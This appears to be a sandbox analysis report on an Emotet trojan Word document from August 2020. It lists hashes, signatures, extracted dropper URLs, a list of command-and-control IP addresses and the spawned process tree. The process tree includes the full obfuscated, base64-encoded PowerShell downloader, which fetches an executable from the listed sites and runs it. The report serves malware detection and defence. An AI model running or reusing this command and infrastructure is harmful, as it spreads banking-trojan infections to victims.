Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    145s
  • max time network
    87s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    13/08/2020, 22:26

Sharing

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General

  • Target
    emotet_e3_ade362fe6bf01954d42e0274b7ea92ba659ed089143955dd7e73bd36389ef2b6_2020-08-13__222457._doc.doc
  • Size 228KB
  • Sample200813-bmcrderkps
  • SHA256 ade362fe6bf01954d42e0274b7ea92ba659ed089143955dd7e73bd36389ef2b6
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://bisisahabatpetani.com/wp-admin/XwhDFsQyx/
  • exe.dropper

    https://coolcomputers.info/git/05Prdao1p74/
  • exe.dropper

    http://simulations.org/rw_common/ZPdjx/
  • exe.dropper

    http://subwaynut.com/scgi-bin/PPBMmwRY/
  • exe.dropper

    https://fitsaude.com.br/image/y5ejrhg539799/

Extracted

Family

  • emotet

C2

  • 66.61.94.36:80

  • 159.203.232.29:8080

  • 185.86.148.68:443

  • 74.208.173.91:8080

  • 37.70.131.107:80

  • 212.156.133.218:80

  • 81.17.93.134:80

  • 203.153.216.182:7080

  • 115.79.195.246:80

  • 115.165.3.213:80

  • 216.75.37.196:8080

  • 81.214.253.80:443

  • 192.241.220.183:8080

  • 172.96.190.154:8080

  • 195.201.56.70:8080

  • 105.213.67.88:80

  • 50.116.78.109:8080

  • 188.166.25.84:8080

  • 187.64.128.197:80

  • 198.57.203.63:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_ade362fe6bf01954d42e0274b7ea92ba659ed089143955dd7e73bd36389ef2b6_2020-08-13__222457._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1420
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABKAEIAUABHAEgAcQBlAGEAPQAnAEsARQBJAEUASwByAHkAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAcgBJAFQAeQBwAGAAUgBgAG8AdABPAGAAQwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABKAEQATABGAEUAZABuAGsAIAA9ACAAJwBNAGwAdgB4ACcAOwAkAFkAUABQAFUAUABpAGoAcQA9ACcAVgBXAFQARwBPAHAAYwB6ACcAOwAkAEkASABCAFUAQgBlAHAAawA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAEoARABMAEYARQBkAG4AawArACcALgBlAHgAZQAnADsAJABQAEEAVgBFAEcAcgBlAHMAPQAnAEgAQwBSAEIAUAB4AG4AYwAnADsAJABOAFAAVQBCAEcAZQBrAHQAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBlAEIAYwBsAEkAZQBOAHQAOwAkAFAAWQBBAE8AQQBwAGQAcwA9ACcAaAB0AHQAcABzADoALwAvAGIAaQBzAGkAcwBhAGgAYQBiAGEAdABwAGUAdABhAG4AaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AWAB3AGgARABGAHMAUQB5AHgALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbwBsAGMAbwBtAHAAdQB0AGUAcgBzAC4AaQBuAGYAbwAvAGcAaQB0AC8AMAA1AFAAcgBkAGEAbwAxAHAANwA0AC8AKgBoAHQAdABwADoALwAvAHMAaQBtAHUAbABhAHQAaQBvAG4AcwAuAG8AcgBnAC8AcgB3AF8AYwBvAG0AbQBvAG4ALwBaAFAAZABqAHgALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGIAdwBhAHkAbgB1AHQALgBjAG8AbQAvAHMAYwBnAGkALQBiAGkAbgAvAFAAUABCAE0AbQB3AFIAWQAvACoAaAB0AHQAcABzADoALwAvAGYAaQB0AHMAYQB1AGQAZQAuAGMAbwBtAC4AYgByAC8AaQBtAGEAZwBlAC8AeQA1AGUAagByAGgAZwA1ADMAOQA3ADkAOQAvACcALgAiAHMAUABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBOAEIAVgBSAHMAbQBpAD0AJwBLAEQAQwBJAFoAbQBiAGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AVQBCAEoARwBwAHEAcAAgAGkAbgAgACQAUABZAEEATwBBAHAAZABzACkAewB0AHIAeQB7ACQATgBQAFUAQgBHAGUAawB0AC4AIgBkAG8AVwBgAE4ATABvAEEAZABgAEYASQBgAEwAZQAiACgAJABPAFUAQgBKAEcAcABxAHAALAAgACQASQBIAEIAVQBCAGUAcABrACkAOwAkAEEAVABKAFkAUAB3AG4AYgA9ACcASABVAEcAVwBUAG0AcABsACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASQBIAEIAVQBCAGUAcABrACkALgAiAGwARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADQANAA5ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEkASABCAFUAQgBlAHAAawApADsAJABUAEoAQwBTAFkAZQB0AHAAPQAnAFkARABFAFoASgBhAG4AaQAnADsAYgByAGUAYQBrADsAJABTAFgARgBJAFAAZQBlAG8APQAnAE8ASwBRAFQATgB6AHQAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAEIATABVAFcAaAB2AGQAPQAnAEMAVQBYAFYARgBkAHgAdAAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Users\Admin\AppData\Local\Temp\Mlvx.exe
      "C:\Users\Admin\AppData\Local\Temp\Mlvx.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Windows\SysWOW64\msrating\wksprtPS.exe
        "C:\Windows\SysWOW64\msrating\wksprtPS.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1912

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1420-15-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1420-3-0x0000000006FB0000-0x00000000071B0000-memory.dmp
        Download

        memory/1420-4-0x000000000AF80000-0x000000000AF84000-memory.dmp
        Download

        memory/1420-5-0x000000000C000000-0x000000000C004000-memory.dmp
        Download

        memory/1420-6-0x0000000006FB0000-0x00000000071B0000-memory.dmp
        Download

        memory/1420-7-0x0000000006FB0000-0x00000000071B0000-memory.dmp
        Download

        memory/1420-8-0x0000000006FB0000-0x00000000071B0000-memory.dmp
        Download

        memory/1420-2-0x0000000008AB0000-0x0000000008AB4000-memory.dmp
        Download

        memory/1636-20-0x00000000003E0000-0x00000000003EC000-memory.dmp
        Download

        memory/1800-14-0x000000001C4B0000-0x000000001C4B1000-memory.dmp
        Download

        memory/1800-13-0x00000000022B0000-0x00000000022B1000-memory.dmp
        Download

        memory/1800-16-0x0000000002890000-0x0000000002891000-memory.dmp
        Download

        memory/1800-12-0x0000000002540000-0x0000000002541000-memory.dmp
        Download

        memory/1800-11-0x000000001AE10000-0x000000001AE11000-memory.dmp
        Download

        memory/1800-10-0x0000000001E30000-0x0000000001E31000-memory.dmp
        Download

        memory/1800-9-0x000007FEEA090000-0x000007FEEAA7C000-memory.dmp
        Download

        memory/1912-23-0x0000000001E50000-0x0000000001E5C000-memory.dmp
        Download

        memory/2012-24-0x000007FEEF770000-0x000007FEEF9EA000-memory.dmp
        Download